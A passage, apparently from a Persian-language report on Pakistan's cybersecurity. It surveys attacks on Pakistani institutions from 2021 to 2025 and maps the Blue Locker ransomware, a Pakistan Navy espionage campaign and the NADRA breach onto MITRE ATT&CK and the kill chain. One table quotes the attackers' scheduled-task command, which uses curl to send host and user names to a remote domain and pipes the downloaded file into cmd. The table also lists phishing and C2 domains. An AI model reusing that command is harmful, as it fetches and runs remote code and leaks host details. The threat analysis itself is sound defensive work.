شــامل اطلاعاتی مانند نام، کارت شناســایی ملی کامپیوتری، آدرس‌ و اثرانگشــت‌ بود. این 

حمله سایبری توسط هکرهای پاکستانی صورت گرفت که اثرانگشت‌ها را سرقت کرده و از 

آن‌ها برای هک تلفن‌ها، کلاهبرداری‌های بانکی، تســهیل تروریســم، فروش سیم‌کارت‌ها و 

فعالیت‌های مجرمانه دیگر استفاده کردند. این حمله یکی از بزرگ‌ترین حملات سایبری در 

تاریخ پاکستان بود و تاثیرات گسترده‌ای داشت، زیرا بسیاری از نهادهای دولتی با سازمان 

ثبــت احــوال و پایــگاه داده ارتباط دارند و فاش شــدن داده‌های این ســازمان می‌توانســت 

تاثیرات مخربی بر امنیت ملی پاکســتان داشــته ‌باشــد. خوشــبختانه در این حمله، تمامی 

1.  Pakistan Armed Forces
2.  Atomic Energy Commission
3.  Nuclear Regulatory Body
4.  National Database and Registration Authority
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اثرانگشــت‌ها و اطلاعات سرقت‌شده بازیابی شدند و هیچ رکوردی فاش نشد. بااین‌حال، 

‌های دفاعی قوی  ایــن حملــه نشــان‌دهنده لزوم تقویــت تدابیــر امنیتی و داشــتن ســازوکار

اســت ]78[. تا پایان ســال 2021، پاکستان روزانه با 900 هزار تلاش هک مواجه بود. در همین 

ســال، بانک ملی پاکســتان1 نیز هدف حمله ســایبری قرار گرفت که هرچند به سرقت داده 

منجر نشد، اما پرداخت‌های بخش دولتی را مختل کرد ]76[.

آسیب‌پــذیری  دیگــر  بــار  کــشور  سراســر  در  برق  گســترده  قطعــی   ،2023 ژانویــه  در 

زیرســاخت‌های حیاتی پاکســتان را نشــان داد. اگرچه در ابتدا وزارت انرژی2 علت قطعی برق 

را مشکل فنی اعلام کرد، اما بررسی‌های بعدی و تطبیق آن با نمونه‌های مشابه حاکی از آن 

بود که این حادثه احتمالا ناشی‌از یک حمله دیجیتال مخرب بوده‌است ]75[.

در ســال 2024، یک کمپین جاسوســی سایبری نیروی دریایی پاکستان را هدف قرار داد. 

در ایــن عملیــات از تاکتیک‌هــای دقیــق و هدفمنــد اســتفاده شــد و یک یادداشــت داخلی 

جعلی فناوری اطلاعات به‌عنوان فریب برای نفوذ به شــبکه‌های حســاس به‌کار گرفته ‌شد. 

برخی از عناصر این کمپین باگروه‌های هکری پیشــرفتهSideWinder  و Bitter هم‌پوشــانی 

دارد و بــه نظر می‌رســد توســط یک تهدیدگر پیشــرفته با منابــع و توانمندی‌های قابل‌توجه 

سازمان‌دهی شده‌باشد، اما عدم‌وجود شواهد قطعی مانع از نسبت دادن آن به یک گروه 

خاص می‌شــود. درمجموع، تکنیک‌های پیشــرفته و هدف‌گیری دقیق در این حمله نشان 

می‌دهد که احتمالا از سوی یک کشور حمایت شده و هدف آن جاسوسی بوده‌است ]79[.

در سال 2025، تهدیدها وارد مرحله‌ای پیچیده‌تر شدند. یک گروه هکری پیشرفته به نام 

Rattlesnake تلاش کــرد بــه وب‌گاه نیروی دریایی پاکســتان نفوذ کرده و اطلاعات محرمانه 

را ســرقت کنــد ]75[. در مــاه مــی 2025 و هم‌زمــان بــا تشــدید درگیری نظامی میان پاکســتان 

1.  National Bank of Pakistan
2.  Ministry of Energy
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و هنــد، کمیــسیون بورس و اوراق بهــادار پاکســتان )SECP(1 نســبت بــه حــملات ســایبری 

هماهنــگ هشــدار داد و برای نخســتین بــار از وقوع جنگ ســایبری هم‌زمان بــا تبادل‌های 

نظامــی میــان دو کشور ســخن گفــت. در جریان این درگیری، حســاب‌ رســمی توییتر وزارت 

امور اقتصادی پاکســتان2 و پورت تراســت کراچی )KPT(3 هک شــد و مقامات پاکســتانی از 

انجــام حــملات ســایبری تلافی‌جویانــه علیه هنــد خبر دادنــد ]80[. در آگوســت 2025 نیز تیم 

پاســخ فوری ســایبری پاکســتان از حــملات باج‌افــزار Blue Locker بــه برخــی ســازمان‌های 

پاکســتان خبــر داد و بــه ۳۹ وزارتخانه و موسســه کلیــدی در خصوص این باج‌افزار هشــدار 

داد. این حملات شــرکت‌های مهم بخش نفت و گاز به‌ویژه شــرکت پاکســتان پترولیوم4 را 

هدف گرفته ‌بودند. تحلیل‌ها نشان می‌دهد که این حملات احتمالا فراتر از جرایم سایبری 

 Blue معمول بوده و باهدف تضعیف زیرساخت‌های حیاتی کشور انجام شده‌اند. باج‌افزار

Locker نوعی نرم‌افزار مخرب است که برای رمزگذاری فایل‌ها در سیستم‌های آلوده طراحی 

شده و از کاربر درخواست می‌کند تا در ازای کلید رمزگشایی باج پرداخت کنند و یادداشتی 

باقی می‌گذارد که تهدید می‌کند اگر باج پرداخت نکنند، داده‌های استخراج‌شــده را منتشــر 

کرده یا به فروش خواهد رساند.درپاسخ، تیم پاسخ فوری سایبری پاکستان برای مقابله با 

تهدید این باج‌افزار به ســازمان‌ها پیشــنهاد کرده‌اســت که به‌ســرعت امنیت سایبری خود 

را تقویت کنند. اقدامات پیشــنهادی این تیم شــامل اســتفاده از احراز هویت چندعاملی، 

تقویــت فیلتر ایمیل، جداســازی پشــتیبان‌ها از شــبکه‌ها، قطع‌کردن درایوهای مشــترک و 

ذخیره‌ســازی برون‌خط )آفلاین( در زمان وقوع حمله به‌منظور جلوگیری از گسترش بیشتر 

حمله، حفظ شواهد جرم‌شناسی، ارائه آموزش به کارکنان و همچنین افزایش آگاهی آن‌ها 

1.  Securities and Exchange Commission
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3.  Karachi Port Trust
4.  Pakistan Petroleum



44

  امنیت سایبری و دیپلماسی سایبری پاکستان  

از ایمیل‌هــا، پیوســت‌ها و لینک‌هــای مشــکوک می‌شــود ]81[. در ماه مــی 2025 در بحبوحه 

تشــدید درگیری‌هــای نظامی بین پاکســتان و هند به‌ویژه در چارچــوب عملیات نظامی هند 

1 نیز گروه هکری پیشرفته Bitter کارکنان شرکت مخابرات پاکستان  به نام عملیات سندور

)PTCL(2 را ازطریــق کمپین‌هــای فیشینــگ هدفمنــد موردحملــه قــرار داد. ایــن حملــه بــر 

دسترســی عمیق‌تر به زیرســاخت‌های مخابراتی پاکســتان متمرکز بود که طی آن، گروهی از 

کارکنان شــرکت مخابرات پاکســتان که دارای نقش‌های کلیدی بودند )ازجمله مهندســان 

زیرســاخت نسل پنجم اینترنت )5G(، کارشناســان توسعه و عملیات )DevOps(3 در حوزه 

فناوری اطلاعات، مدیران پروژه و کارشناسان ارتباطات ماهواره‌ای( موردحمله قرار گرفتند. 

تحلیلگران بر این باورند که گروه هکری پیشــرفته Bitter به احتمال زیاد یک بازیگر دولتی 

از جنوب آسیا است که عملیات‌های جاسوسی سایبری برای سرقت اسرار دولتی و تجاری 

انجام می‌دهد ]82[.

درنهایت، در گزارش ســالانه امنیت ســایبری ســازمان مخابرات پاکســتان در بازه زمانی 

2025-2024 هشــدار داده شده‌‌اســت کــه بخــش مخابــرات و دولت این کــشور با تهدیدهای 

جدیــدی از سوی حــملات ســایبری مبتنی‌بــر هــوش‌ مصنوعــی مواجــه هســتند. مرکز ملی 

عملیات امنیتی مخابرات )nTSOC( در این بازه زمانی بیش‌از 10هزار هشدار حیاتی پردازش 

کــرده‌، 1,500 حادثــه امنیتــی به مقامات بالاتر گزارش کرده و بالغ‌بر 500 زیرســاخت مخرب در 

ســال گذشــته مسدود کرده‌اســت. در جریان تشدید حملات ســایبری در آوریل تا می 2025 

نیز بیش از 25 حمله محروم‌ســازی از سرویس توزیع‌شــده )DDoS( و 100 تهدید از دارک وب 

ثبت شده‌اســت که نشــان‌دهنده روند خطرناکی در جهت ســرقت اطلاعات ورود کاربران و 

نفوذهای هدفمند با استفاده از هوش ‌مصنوعی است.

1.  Operation Sindoor
2.  Pakistan Telecommunication Company
3.  Development Operations
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امروزه، مهاجمــان بــه جــای اســتفاده از بدافزارهــای متعــارف و قدیمــی از تکنیک‌هــای 

Living-off-the-Land )اســتفاده از ابزارهــای موجــود سیســتم به‌جــای آوردن ابزار مخرب 

جدید( بهره می‌برند که شامل سوءاستفاده از ابزارهای قانونی سیستم و امتیازات کاربران 

بــرای جلــوگیری از شناسایی‌شــدن اســت. ســازمان مخابرات پاکســتان برای مقابلــه با این 

تهدیدها پیشنهاد می‌کند که احراز هویت چندعاملی اجباری )MFA(1، مدل‌های دسترسی 

2 و اشــتراک‌گذاری خــودکار اطلاعات تهدید در دســتورکار قــرار گیرند.  مبتنی‌بــر اعتمــاد صفر

تمرینــات ســایبری بین‌بخشــی و گزارش‌دهــی سریــع نقض‌هــای امنیتــی از دیگــر اقدامــات 

ضروری به‌شمار می‌آید ]83[.

یرساخت‌های حیاتی پاکستان 2. 3.  تحلیل فنی حملات شاخص علیه ز

در ایــن بخــش به تحلیــل فنی حملات شــاخص علیه زیرســاخت‌های حیاتی پاکســتان 

براســاس چارچوب MITRE ATT&CK و چارچوب زنجیره کشتار سایبری3 پرداخته می‌شود. 

: حملــه باج‌افــزار Blue Locker، حملــه کمپین  مــوارد موردتحلیــل در ایــن بخــش عبارتنــداز

جاسوســی ســایبری به نیروی دریایی پاکستان و هک شــدن پایگاه داده سازمان ملی ثبت 

.)NADRA( احوال

لازم بــه ذکــر اســت کــه چارچــوب MITRE ATT&CK نوعــی مــدل بــرای رفتــار بدخواهانــه 

سایبری است که مراحل مختلف چرخه حیات یک حمله سایبری را نشان می‌دهد و نوعی 

دســته‌بندی بــرای انــواع تهدیدهای ســایبری و روش‌های مقابله بــا آن‌ها را فراهــم می‌آورد. 

1.  Mandatory Multi-Factor Authentication
2.  Zero-Trust
اعتمــاد صفــر بــه ایــن معناســت کــه هیــچ اعتمــاد ضمنــی بــه هیــچ بخشــی از شــبکه نبایــد وجــود داشته‌باشــد. بــه زبــان 
ســاده، یــک ســازمان نبایــد بــدون تاییــد بــه هیــچ درخواســتی اعتمــاد کنــد- صرف‌نظــر از این‌کــه درخواســت از داخــل 
ج از محیــط آن منشــا گرفته‌باشــد. ایــن رویکــرد در تلاشــی بــرای کاهــش خطــر بالقــوه حــملات بــه یــک شــبکه و  ــا خــار ی

افزایــش وضعیــت امنیتــی آن توســعه یافته‌اســت.
3.  Cyber Kill Chain
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چارچوب زنجیره کشــتار ســایبری نیز مراحل مختلف حمله ســایبری را دســته‌بندی می‌کند 

که هر مرحله در حمله سایبری نقش خاصی دارد.

 MITRE براســاس چارچــوب Blue Locker جــدول 3:      تحلیــل تاکتیک‌هــای بدخواهانــه حملــه باج‌افــزار   
  ]81[ ATT&CK

توصیفشناسهتاکتیک

ایجاد تداوم ازطریق کلیدهای رجیستری، و اطمینان از T1547.001تداوم و ارتقای دسترسی1
اجرا پس از راه‌اندازی مجدد سیستم

تغییر سرویس‌های سیستم برای تداوم و ارتقای T1543تداوم و ارتقای دسترسی
دسترسی

دور زدن کنترل حساب کاربری )UAC(2 ازطریق دستکاری T1548.002تداوم و ارتقای دسترسی
رجیستری، و افزایش دسترسی بدون رضایت کاربر

‌سازی4 برای فرار از شناسایی T1140گریز از دفاع3 اجرای مخفی‌سازی و آشکار
توسط ابزارهای امنیتی و تحلیل‌گران

T1070.006گریز از دفاع
استفاده از تکنیک دستکاری برچسب زمانی5 برای 

تغییر برچسب‌های زمانی فایل‌ها که شناسایی را در 
تحلیل‌های جرم‌شناسی دشوار می‌کند

T1562.001گریز از دفاع
غیرفعال‌سازی کنترل حساب کاربری )UAC( برای 

جلوگیری از شناسایی‌شدن و همچنین حفظ تداوم 
بدون توقف توسط کنترل‌های امنیتی

انجام پرس‌وجوهای رجیستری7 برای جمع‌آوری اطلاعات T1012کشف6
‌های نصب‌شده درباره پیکربندی سیستم و نرم‌افزار

1.  Persistence & Privilege Escalation
2.  User Account Control
3.  Defense Evasion
4.  Obfuscation and Deobfuscation
5.  Timestomping Technique
6.  Discovery
7.  Registry Queries
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     2  مشچچچشم‎انداز تهدیدهای امنیت سایبری در پاک  .

   اول بخش     پاکستانیبریامنیت سا  .

توصیفشناسهتاکتیک

T1057کشف
شمارش فرآیندهای درحال‌اجرا برای شناسایی 

فرآیندهایی که برای بهره‌برداری یا تزریق هدف قرار 
خواهندگرفت

کشف حساب‌های کاربری برای جمع‌آوری اطلاعات ورود T1087فرآیند تزریق1
کاربران یا حرکت جانبی2 در سیستم‌ها

T1497کشف
شناسایی محیط‌های مجازی یا شبیه‌سازی‌شده مانند 

جعبه‌شن‌های تنظیم‌گری )سندباکس(3 برای جلوگیری از 
شناسایی‌شدن در تحلیل‌های پویا )دینامیک(

کاوش در ساختار فایل‌ها و دایرکتوری‌ها برای یافتن T1083کشف
فایل‌های ارزشمند برای رمزگذاری یا استخراج داد‌ه‌ها

T1074جمع‌آوری4
آماده‌سازی داده‌های جمع‌آوری‌شده در دایرکتوری‌های 

موقت یا شناخته‌شده قبل از استخراج یا بهره‌برداری 
بیشتر

استفاده از ضبط ورودی خام برای سرقت اطلاعات کاربر T1056جمع‌آوری
یا داده‌های جلسه در حین جلسات فعال

T1490ضربه زدن5
جلوگیری از بازیابی سیستم با غیرفعال‌سازی یا حذف 

سیستم‌های پشتیبان به‌طوری‌که قربانیان نتوانند 
فایل‌های رمزگذاری‌شده خود را بازیابی کنند

توقف خدمات سیستم برای اطمینان از عدم‌وقفه در T1489ضربه زدن
فرآیند رمزگذاری و افزایش آسیب

1.  Process Injection
2.  Lateral Movement
حرکــت جانبــی تاکتیکــی اســت کــه توســط مهاجمــان به‌منــظور حرکــت در داخــل یــک شــبکه باهــدف دسترســی بــه منابــع 
و داده‌هــای حســاس بــه‌کار بــرده می‌شــود. ایــن تاکتیــک معمــولا شــامل اســتفاده از ابزارهــا و تکنیک‌هــای مختلــف بــرای 

نفــوذ بــه سیســتم‌ها و حرکــت بیــن آن‌هــا اســت تــا مهاجــم بــه هــدف نهــایی خــود برســد.
یــا  خدمــات  محصــولات،  می‌دهــد  اجــازه  نــوآوران  و  کســب‌وکارها  بــه  کــه  اســت  ابــزاری  تنظیــم‌گری  جعبه‌شــن    .3
کســب‌وکارهای جدیــد و نوآورانــه را تحت‌نظــارت نهــاد تنظیم‌گــر و در محیطــی محدود‌شــده طــی مــدت زمانــی مشــخص 

بررســی و آزمایــش کننــد.
4.  Collection
5.  Impact
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 MITRE جدول 4:      تحلیل حمله کمپین جاسوسی سایبری به نیروی دریایی پاکستان براساس چارچوب   
  ]84[ ATT&CK

توضیحاتتکنیک/زیرتکنیکتاکتیک

شناسایی1
جمع‌آوری اطلاعات 

میزبان قربانی: نرم‌افزار 
T1592.002

تهدیدگر از دانش قبلی خود نسبت به وابستگی سازمان 
هدف به سرورهای ایمیل Axigen  وکلاینت ایمیل 

Thunderbird استفاده کرده و فریب‌هایی منحصربه‌فرد 
و ویژه برای این سیستم‌ها طراحی کرده‌ تا احتمال نفوذ 

موفق افزایش یابد

توسعه قابلیت‌ها: توسعه منبع2
T1587.001 بدافزار

تهدیدگر از بدافزارهایی که به‌صورت ویژه برای تحقق 
اهداف عملیاتی خود طراحی شده )ازجمله ابزارهایی 

مانند Sync-Scheduler و Black-Shell و دانلودکننده‌ها( 
استفاده کرده‌است

آماده‌سازی قابلیت‌ها: توسعه منبع
T1608.001 آپلود بدافزار

بدافزار در زیرساخت‌های تحت‌کنترل دشمن بارگذاری 
شده تا قانونی به نظر برسد و مراحل مختلف زنجیره اجرای 

آن را تسهیل کند

دسترسی 
اولیه3

فیشینگ: لینک 
فیشینگ هدفمند  

T1566.002

دشمن فایل‌های پی‎دی‌اف حاوی لینک‌های مخرب توزیع 
کرده‌است که هدف آن‌ها ارسال یک آرشیو فشرده )زیپ( 

اولیه بود
hxxps://paknavy[.]rf[.]gd/Axigen_Thunderbird.zip

و
hxxps://finance-gov-pk[.]rf[.]gd/
BenevolentFundAndGroupInsurance

اجرا4

مفسر دستورات 
و اسکریپت‌ها: 
جاوااسکریپت 

T1059.007

تهدیدگر از جاوااسکریپت مبهم در فایل افزونه مخرب 
Sync- برای سرقت اطلاعات ورودی کاربران و اجرای

Scheduler استفاده کرده‌است

1.  Reconnaissance
2.  Resource Development
3.  Initial Access
4.  Execution
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     2  مشچچچشم‎انداز تهدیدهای امنیت سایبری در پاک  .

   اول بخش     پاکستانیبریامنیت سا  .

توضیحاتتکنیک/زیرتکنیکتاکتیک

اجرا
مفسر دستورات و 

اسکریپت‌ها: دستورات 
T1059.003 شِِل ویندوز

از دستور cmd.exe /c برای ایجاد وظایف زمان‌بندی‌شده 
در هر دو ابزار Black-Shell  وSync-Scheduler  استفاده 

شده‌است

اجرا
ارتباط بین فرآیندها: 

مدل شیء مولفه  
T1559.001

Sync-Scheduler از رابط مدل شیء مولفه به نام 
IWbemLocator برای اجرای یک پرس‌وجو WMI به‌منظور 
جمع‌آوری شناسه منحصر‎به‌فرد جهانی )UUID(1 سیستم 

استفاده می‌کند

اجرا
رابط‌های برنامه‌‌نویسی 

کاربردی )API(2 بومی: 
T1106

Sync-Scheduler توانایی استفاده از چندین رابط 
برنامه‌نویسی کاربردی بومی ویندوز را دارد که در زمان اجرای 

این بدافزار فراخوانده می‌شوند تا عملیات خاصی بر روی 
سیستم انجام دهند، این رابط‌های برنامه‌نویسی کاربردی 

: بومی عبارتند از
- VirtualAlloc
- InternetOpenA
- InternetConnectA
- HttpOpenRequestA
- HttpAddRequestHeadersA
- HttpSendRequestW
- InternetReadFile
- InternetCloseHandle
- InternetSetOptionA 
- FindFirstFileW
- FindNextFileW
- FreeLibrary
- CreateProcessA

اجرا، تداوم

وظیفه/ کار 
زمان‌بندی‌شده: 

وظیفه زمان‌بندی‌شده 
T1053.005‌

Sync-Scheduler  وBlack-Shell  هر دو وظایف 
زمان‌بندی‌شده مانند OneDrive، Skype و 

schtasks / را با استفاده از دستور WindowsUpdate
create  ایجاد می‌کنند تا cmd.exe را اجرا کنند

1.  Universally Unique Identifier
2.  Application Programming Interface
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توضیحاتتکنیک/زیرتکنیکتاکتیک

اجرا، تداوم

وظیفه/ کار 
زمان‌بندی‌شده: 

وظیفه زمان‌بندی‌شده 
T1053.005

تهدیدگر از یک فایل Microsoft Access برای اجرای دستور 
زیر استفاده می‌کند:

cmd.exe /c schtasks /create /tn 
EdgeUpdateTaskMachine /f /sc minute /mo 14 /tr 
“conhost.exe --headless cmd /c curl -o C:\Users\
public\documents\pic.jpg mxmediasolutions[.]com/
addc.php?mg=%computername%_%username% & 
more C:\Users\public\documents\pic.jpg | cmd

: لینک اجرا اجرا توسط کاربر
T1204.001 مخرب

دشمن قربانیان را فریب می‌دهد تا بر روی هایپرلینک‌ها 
کلیک کنند تا بتواند فایل‌های مخرب را برای آن‌ها 

ارسال کند

اجرا توسط کاربر: فایل اجرا
T1204.002 مخرب

فایل‌های افزونه مخرب نیاز به نصب دستی توسط کاربر 
Employee-دارند. فایل Thunderbird در کلاینت ایمیل

Information-PakNavy.exe  (Sync-Scheduler( به اجرای 
فایل توسط قربانی وابسته است

ابزار مدیریت ویندوز اجرا
T1047

Sync-Scheduler از رابط مدل شیء مولفه به نام 
_SELECT * FROM Win32  برای اجرای IWbemLocator

ComputerSystemProduct به‌منظور جمع‌آوری شناسه 
منحصر‎به‌فرد جهانی )UUID( سیستم استفاده می‌کند

ماژول‌های مشترک اجرا
T1129

 Wininet.dll برای بارگذاری LdrLoadDll از Sync-Scheduler
استفاده می‌کند

آشکارسازی/ رمزگشایی گریز از دفاع
T1140 فایل‌ها یا اطلاعات

Sync-Scheduler از عملیات XOR برای رمزگشایی 
رشته‌ها در زمان اجرا استفاده می‌کند تا از شناسایی‌شدن 

جلوگیری کند

گریز از دفاع
آشکارسازی/ رمزگشایی 

فایل‌ها یا اطلاعات  
T1140

 Base64 از C2 برای رمزگشایی آدرس atob دشمن از تابع
در داخل فایل افزونه مخرب استفاده می‌کند

جعل هویت T1656گریز از دفاع
دشمن هویت خود را به‌عنوان کارکنان کلیدی نیروی 

دریایی پاکستان و دولت جعل کرده تا جامعه هدف را 
فریب دهد که بدافزار را دانلود کنند
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     2  مشچچچشم‎انداز تهدیدهای امنیت سایبری در پاک  .

   اول بخش     پاکستانیبریامنیت سا  .

توضیحاتتکنیک/زیرتکنیکتاکتیک

گریز از دفاع
جعل کردن: جعل 
وظیفه یا سرویس 

T1036.004

دشمن وظایف زمان‌بندی‌شده‌ای ایجاد می‌کند که نام 
 OneDrive، آن‌ها مشابه نرم‌افزارهای معمول ویندوز مانند
 EdgeUpdateTaskMachine و Skype، WindowsUpdate

است تا با وظایف قانونی سیستم ترکیب شوند و از 
شناسایی‌شدن آن‌ها جلوگیری شود

جعل کردن: جعل نوع گریز از دفاع
T1036.008 فایل

 exe.2024-Employee-Information-Pak-Navy فایل
به‌عنوان یک فایل Excel جعل می‌شود

گریز از دفاع

فایل‌ها یا اطلاعات 
مخفی‌شده: انتخاب 

رابط‌های برنامه‌‌نویسی 
کاربردی )API( در زمان 

اجرای بدافزار )به‌صورت 
T1027.007 )دینامیکی

دشمن از انتخاب و فراخوان رابط‌های برنامه‌نویسی 
کاربردی در حین اجرای بدافزار برای پنهان کردن ویژگی‌ها و 

عملکردهای بدافزار استفاده می‌کند

گریز از دفاع

فایل‌ها یا اطلاعات 
مخفی‌شده: فایل 

رمزنگاری/ کدگذاری‌شده 
T1027.013

Sync-Scheduler قبل از استخراج اطلاعات به 
packageupdates[.]net، محتوای فایل‌هایی را که پیدا 

 Tiny Encryption می‌کند با استفاده از الگوریتم رمزنگاری
)Algorithm (TEA رمزنگاری می‌کند

جمع‌آوری، 
دسترسی‌به 

اطلاعات 
ورود کاربران1

ضبط داده‌های ورودی: 
ضبط داده‌های ورودی 
از رابط کاربری گرافیکی

(GUI)2 T1056.002

دشمن با استفاده از یک فرم ورود تقلبی که در داخل 
فایل افزونه Thunderbird قرار داده‌شده‌است نسبت به 

شبیه‌سازی فیلدهای ورودی قانونی اقدام کرده و اطلاعات 
ورود کاربران را جمع‌آوری کرده و به سرور C2 ارسال می‌کند

کشف فایل‌ها و کشف
T1083 دایرکتوری‌ها

Sync-Scheduler به جستجو در سیستم فایل قربانی 
 doc، .docx، .pdf، می‌پردازد تا فایل‌هایی با پسوندهای

zip، .xls، .xlsx، .ppt،.pptx.  را شناسایی کند

جمع‌آوری خودکار T1119جمع‌آوری
Sync-Scheduler پس از اجرا به‌طور خودکار فایل‌ها را 

 packageupdates[.]net جمع‌آوری و رمزنگاری کرده و به
ارسال می‌کند

1.  Credential Access
2.  Graphical User Interface

.
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توضیحاتتکنیک/زیرتکنیکتاکتیک

جمع‌آوری

داده‌های 
مرحله‌بندی‌شده: 

مرحله‌بندی داده‌های 
T1074.001 محلی

 Employee-Information-PakNavy.exe فایل
از پوشه “AppData\Roaming\System” برای 

مرحله‌بندی فایل‌های رمزنگاری‌شده به‌منظور انتقال 
آن‌ها استفاده می‌کند

فرمان‌دهی و 
کنترل1

پروتکل لایه کاربردی: 
پروتکل‌های وب 

T1071.001

Sync-Scheduler از پروتکل HTTP برای ارتباط با سرور 
استفاده می‌کند

سرقت 
اطلاعات2

انتقال اطلاعات ازطریق 
T1041 C2 کانال

Sync-Scheduler فایل‌های رمزنگاری‌شده با الگوریتم
 C2 را به سرور Tiny Encryption Algorithm  (TEA(

ارسال می‌کند

ثبــت احــوال و پایــگاه داده �  تحلیــل فرآینــد هک‌شــدن پایــگاه داده ســازمان ملــی 

پاکستان در چارچوب زنجیره کشتار سایبری

 )NADRA( در ایــن بخش، حمله به پایگاه داده ســازمان ملی ثبت احــوال و پایگاه داده

در چارچوب زنجیره کشــتار ســایبری توصیف می‎شود. این چارچوب مراحل مختلف حمله 

ســایبری را دســته‌بندی می‌کنــد و هــر مرحلــه در حمله ســایبری نقش خاصــی دارد. در این 

، تحویل،  چارچــوب، هفــت مرحلــه وجــود دارد کــه عبارتنــد از: شناســایی، آماده‌ســازی ابــزار

بهره‌برداری، نصب، فرما‌ندهی و کنترل، و اقدامات بر روی اهداف.

شناســایی: ایــن مرحلــه نخســتین گام در زنجیــره کشــتار ســایبری اســت کــه شــامل 

جمــع‌آوری اطلاعــات دربــاره هــدف اســت. در ایــن حملــه، هکرهــا ابتــدا به‌دنبــال تمامــی 

پروفایل‌های شــخصی کارکنان و مدیران ســازمان ملی ثبت احوال و پایگاه داده پاکســتان 

در شــبکه‌های اجتماعی بودند و ســپس ســایت این ســازمان را مورد ارزیابی آسیب‌پذیری 

1.  Command-and-Control
2.  Exfiltration
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   اول بخش     پاکستانیبریامنیت سا  .

قــرار دادنــد. آن‌هــا از ابزارهایی برای بررســی جزئیات ســایت و کشــف آسیب‌پذیری‌ها مانند 

تزریق کد SQL 1 استفاده کردند.

2: در ایــن مرحلــه، مهاجــم حملــه‌ای را کــه با توجــه ‌به تمامــی اطلاعات  آماده‌ســازی ابــزار

جمع‌آوری‌شــده در مرحلــه اول انتخــاب کــرده، بــه اجــرا در مــی‌آورد. در ایــن مرحلــه، مهاجم 

می‌توانــد بدافــزار ویــژه خــود را برای آلوده‌کردن ســایت بســازد یــا از حملات متعــارف مانند 

3 یا اسکریپت بین‌سایتی )XSS(4 استفاده کند. هکرها در حمله  تزریق کد SQL، سرریز بافر

به سازمان ملی ثبت احوال و پایگاه داده پاکستان از بدافزارهایی همچون تزریق کد SQL و 

اسکریپت‌های مخرب استفاده کردند.

تحویــل5: در ایــن مرحلــه، مهاجــم اولیــن حرکــت خــود را بــرای آغــاز حملــه انجــام می‌دهــد. 

روش‌هــای مختلفــی بــرای بــه‌کارگیری ابــزار در سیســتم آلــوده وجــود دارد کــه شــامل اتصــال 

فلــش، حملــه مســتقیم بــا اســکریپت مخــرب روی شــبکه، مهندســی اجتماعــی و اســتفاده 

از تکنیک‌هــایی ماننــد فیشینــگ و فیشینــگ صوتــی می‌شــود. در حملــه بــه ســازمان ملــی 

ثبــت احــوال و پایــگاه داده پاکســتان، تحویــل ازطریــق اســکریپت‌های مخــرب روی ســایت 

و بهره‌بــرداری از آسیب‌پذیری‌هــایی ماننــد تزریــق کــد SQL و اجــرای اســکریپت‌های ویــژه 

صورت گرفــت.

بهره‌برداری6: در این مرحله، مهاجم پس از تحویل سلاح خود به سیستم هدف به‌طور 

غیرمجــاز بــه آن دسترســی پیدا می‌کند و انــواع فعالیت‌های مخرب مانند ســرقت اطلاعات 

محرمانه یا تخریب ظاهر وب‌ســایت را انجام می‌دهد. در حمله به ســازمان ملی ثبت احوال 

1.  SQL Injection
2.  Weaponization
3.  Buffer Overflows
4.  Cross-site Scripting
5.  Delivery
6.  Exploitation
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و پایگاه داده پاکســتان، هکرها به پایگاه داده این ســازمان ازطریق اســکریپت‌های مخرب 

دسترســی غیرمجاز پیدا کرده و اطلاعات شــخصی میلیون‌ها شــهروند پاکســتانی را سرقت 

کردند.

نصــب1: در ایــن مرحلــه، مهاجــم بدافزار خود را در دســتگاه یــا سرور قربانــی نصب کرده 

و اســکریپت مخــرب خــود را اجرا می‌کند کــه می‌تواند داده‌های محرمانــه را به سرور مهاجم 

ارسال کند. در حمله به سازمان ملی ثبت احوال و پایگاه داده، مرحله نصب به این صورت 

بود که هکرها تمامی اطلاعات شخصی مانند نام، کارت شناسایی ملی کامپیوتری، آدرس‌ها 

و اثرانگشت‌های کاربران را به لپ‌تاپ خود در کراچی ارسال کردند.

فرماندهــی و کنــترل: در ایــن مرحلــه، مهاجــم بــه‌طور کامــل کنــترل قربانــی را به‌دســت 

ــل  ــات آن را مخت ــرده و خدم ــار اخلال ک ــایت را دچ ــد وب‌س ــت می‌توان ــن حال ــی‌آورد و در ای م

کنــد. البتــه ایــن کار باعــث می‌شــود ســازمان متوجــه شــود کــه وب‌ســایت هــک شده‌اســت. 

َـک‌دُُر )در پشــتی(2 در وب‌ســایت هــدف نصــب  راه دیگــر ایــن اســت کــه مهاجــم یــک برنامــه‌ �ب

می‌کنــد تــا در آینــده هــر زمــان کــه خواســت بــه‌صورت غیرمجــاز بــه آن دسترســی پیــدا کنــد. 

در ایــن صورت، فــرد یــا ســازمان هرگــز متوجــه نمی‌شــود کــه وب‌ســایت دچــار مشــکل 

ــک‌در  ــه‌ ب ــک برنام ــا ی ــگاه داده، هکره ــوال و پای ــت اح ــازمان ثب ــه س ــه ب ــت. در حمل شده‌اس

نصــب کردنــد و اجــازه ندادنــد مقامــات از هــک شــدن وب‌ســایت‌ ســازمان مطلــع شــوند. 

آن‌هــا نیــز تــا قبــل از ایــن کــه ردپــای فعالیت‌هــای مشــکوک در بازارهــای دارک وب مشــاهده 

شــد، بــه ایــن مــوضوع پی نبــرده ‌بودنــد.

1.  Installation
2.  Backdoor
کدُُرهــا برنامه‌هــایی هســتند کــه بــه مجرمــان ســایبری یا مهاجمــان امکان دسترســی از راه دور به رایانه‌ها و سیســتم‌ها  َبَ
را می‌دهنــد. درواقــع، مهاجمــان بعــد از نفــوذ اولیــه بــه سیســتم بــا نصــب بــک‌در یــک مسیــر مخفــی بــرای دسترســی آینــده 

بــه سیســتم ایجــاد می‌کنند.
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   اول بخش     پاکستانیبریامنیت سا  .

اقدامــات بــر روی اهــداف1: ایــن آخرین مرحله از زنجیره کشــتار ســایبری اســت. در این 

مرحلــه، مهاجــم پــس از تکمیل حملــه، اقداماتی ماننــد پنهان‌کردن ردپاهــا و حذف لاگ‌ها 

و همچنین نظارت بر این که چه مقدار داده به دســتگاه مهاجم منتقل شــده و چه مقدار 

هــنوز باقی‌مانده‌اســت را انجــام می‌دهــد. در حمله ســایبری به ســازمان ملی ثبــت احوال و 

پایگاه داده، هکرها فقط نسخه‌هایی از داده‌های ذخیره‌شده در سرور را ایجاد کردند و پس 

، ارتباط خود را با سرور وب‌سایت قطع کردند ]78[. از انجام این کار

1.  Actions on Objectives
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و  نقاط‌قــوت  ســایبری،  امنیــت  جهانــی  شــاخص  در  پاکســتان  رتبــه  بخــش،  ایــن  در 

نقاط‌ضعف و چالش‌های پیش‌روی پاکستان در حوزه امنیت سایبری و راهکارهای مقابله 

